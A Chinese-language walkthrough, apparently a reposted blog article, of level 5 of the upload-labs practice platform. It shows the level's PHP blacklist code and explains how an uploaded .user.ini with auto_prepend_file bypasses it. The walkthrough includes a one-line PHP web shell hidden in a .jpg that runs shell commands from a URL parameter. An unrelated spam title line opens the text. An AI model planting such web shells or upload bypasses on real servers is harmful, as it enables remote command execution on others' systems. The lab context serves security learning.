自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Upload-Lab第五關(guān):如何巧妙利用.user.ini配置文件繞過(guò)黑名單驗(yàn)證

安全
本文我們利用 .user.ini文件的特性,成功繞過(guò)了服務(wù)器的安全檢查并執(zhí)行了惡意代碼。

關(guān)卡介紹

upload-lab是一個(gè)用于練習(xí)文件上傳漏洞的演練平臺(tái)。在第五關(guān)中,我們將探索如何利用 .user.ini 文件包含漏洞來(lái)攻破這一關(guān)卡。此關(guān)卡的核心在于利用PHP的 user_ini文件特性繞過(guò)安全檢查,最終實(shí)現(xiàn)惡意代碼執(zhí)行。

以下第5關(guān)的核心代碼:

is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件類(lèi)型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
    }
}

在觀察源碼后,發(fā)現(xiàn)源碼中將所有可解析的文件后綴名都明確列出,包括大小寫(xiě)轉(zhuǎn)換、空格和點(diǎn)號(hào)等處理。因此,無(wú)法正常上傳PHP類(lèi)文件,并且 .htaccess文件的上傳也被拒絕。然而,通過(guò)仔細(xì)檢查,發(fā)現(xiàn)有兩個(gè)后綴名沒(méi)有被限制,它們是 .php7和 .ini。

關(guān)于user.ini

從 PHP 5.3.0 開(kāi)始,PHP 支持每個(gè)目錄使用 .user.ini 文件,這類(lèi)似于 Apache 的 .htaccess 文件。這種文件只會(huì)被 CGI/FastCGI 模式的 PHP 處理,因此 PECL 的 htscanner 擴(kuò)展就不再需要了。如果你使用 Apache 服務(wù)器,可以通過(guò) .htaccess 文件實(shí)現(xiàn)相同的效果。

除了主配置文件 php.ini 之外,PHP 還會(huì)在每個(gè)目錄中查找 .user.ini 文件,從執(zhí)行的 PHP 文件所在目錄一直向上查找,直到找到 web 根目錄(由 $_SERVER['DOCUMENT_ROOT'] 指定)。如果 PHP 文件在 web 根目錄之外,只會(huì)掃描該目錄。

在 .user.ini 文件中,只能使用具有 PHP_INI_PERDIR和PHP_INI_USER 模式的配置指令。

有兩個(gè)新的配置指令控制 .user.ini 文件的使用:

  • user_ini.filename:設(shè)置 PHP 在每個(gè)目錄中查找的文件名。如果設(shè)置為空字符串,PHP 就不會(huì)查找這些文件。默認(rèn)值是 .user.ini。
  • user_ini.cache_ttl:控制重新讀取 .user.ini 文件的時(shí)間間隔。默認(rèn)是 300 秒(5 分鐘)。

.user.ini 文件中的配置會(huì)像 php.ini 中的配置一樣被 PHP 處理,這可能會(huì)導(dǎo)致文件解析漏洞。要觸發(fā) .user.ini 解析漏洞,需要滿(mǎn)足以下三個(gè)條件:

  • 服務(wù)器使用PHP作為腳本語(yǔ)言。
  • 服務(wù)器運(yùn)行在 CGI/FastCGI 模式下。
  • 上傳目錄中有可執(zhí)行的PHP文件。

解法步驟

(1) 編寫(xiě) .user.ini 文件

首先,我們需要?jiǎng)?chuàng)建一個(gè) .user.ini 文件,以指示服務(wù)器在每個(gè)請(qǐng)求前包含我們的 666.jpg 文件。創(chuàng)建一個(gè)名為 .user.ini 的文件,內(nèi)容如下:

auto_prepend_file=666.jpg

該配置將使得 666.jpg在每個(gè)PHP請(qǐng)求前自動(dòng)包含。

(2) 編寫(xiě)惡意 PHP文件

接下來(lái) ,我們需要一個(gè)包含惡意代碼的PHP文件。這個(gè)文件將在 .user.ini 被解析后自動(dòng)被包含并執(zhí)行。創(chuàng)建一個(gè)名為 666.jpg 的文件,內(nèi)容如下 :

<?phpecho shell_exec($_GET['pass']); ?>

(3) 上傳文件

先將 .user.ini 文件上傳到服務(wù)器,接著,再將666.jpg上傳到服務(wù)器。

user_ini文件受到user_ini.cache_ttl這個(gè)參數(shù)影響,這里有兩個(gè)選擇:

  • 慢慢的等候5分鐘,再去訪問(wèn)
  • 直接進(jìn)去修改php-ini配置文件

把這里的300秒(即默認(rèn)等5分鐘)改為10:

修改后保存php.ini文件并重啟服務(wù),靜心等候10秒后再進(jìn)行下一步操作。

(4) 訪問(wèn)并執(zhí)行

根據(jù)關(guān)卡5的提示,upload目錄中存在一個(gè)readme.php,如下圖所示:

提示

我通過(guò)訪問(wèn)這個(gè)readme.php文件,去觸發(fā)自己上傳的腳本文件。該請(qǐng)求將執(zhí)行 id 命令,并顯示當(dāng)前用戶(hù)詳細(xì)信息。如圖所示:

webshell執(zhí)行成功

總結(jié)

在upload-lab的第五關(guān)中,我們利用 .user.ini文件的特性,成功繞過(guò)了服務(wù)器的安全檢查并執(zhí)行了惡意代碼。這種攻擊方式主要依賴(lài)于對(duì) PHP 配置文件的理解和巧妙利用,為安全研究人員提供了一個(gè)有趣且實(shí)用的學(xué)習(xí)案例。

推薦閱讀:

Upload-Lab第一關(guān):輕松繞過(guò)前端驗(yàn)證的技巧!

Upload-Lab第二關(guān):如何巧妙繞過(guò)MIME類(lèi)型過(guò)濾?

Upload-Lab第三關(guān):如何巧妙應(yīng)對(duì)黑名單文件后綴檢測(cè)?

Upload-Lab第四關(guān):如何巧用.htaccess破解黑名單驗(yàn)證

責(zé)任編輯:趙寧寧 來(lái)源: 攻城獅成長(zhǎng)日記
相關(guān)推薦

2024-08-19 00:05:00

黑名單驗(yàn)證安全驗(yàn)證

2024-08-12 08:29:08

2024-08-08 14:49:02

2024-08-07 11:01:42

2024-08-06 16:16:34

Upload-Lab前端惡意代碼

2011-01-21 17:53:44

Zimbra

2011-06-02 10:52:11

Android BroadCast 黑名單

2015-06-04 11:11:15

2013-08-27 10:56:24

2010-11-11 13:20:41

2010-05-24 13:36:11

2021-03-29 08:02:35

面試簡(jiǎn)歷項(xiàng)目

2009-10-29 08:39:14

Windows 7系統(tǒng)激活

2018-06-10 09:04:28

2019-07-29 08:41:33

算法黑名單ip

2011-03-18 13:14:01

2011-07-28 11:10:58

2010-11-01 09:17:21

超級(jí)黑名單騰訊QQ360安全中心

2009-05-14 09:11:49

歐盟反壟斷黑名單

2010-01-21 11:44:41

垃圾郵件實(shí)時(shí)黑名單技術(shù)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)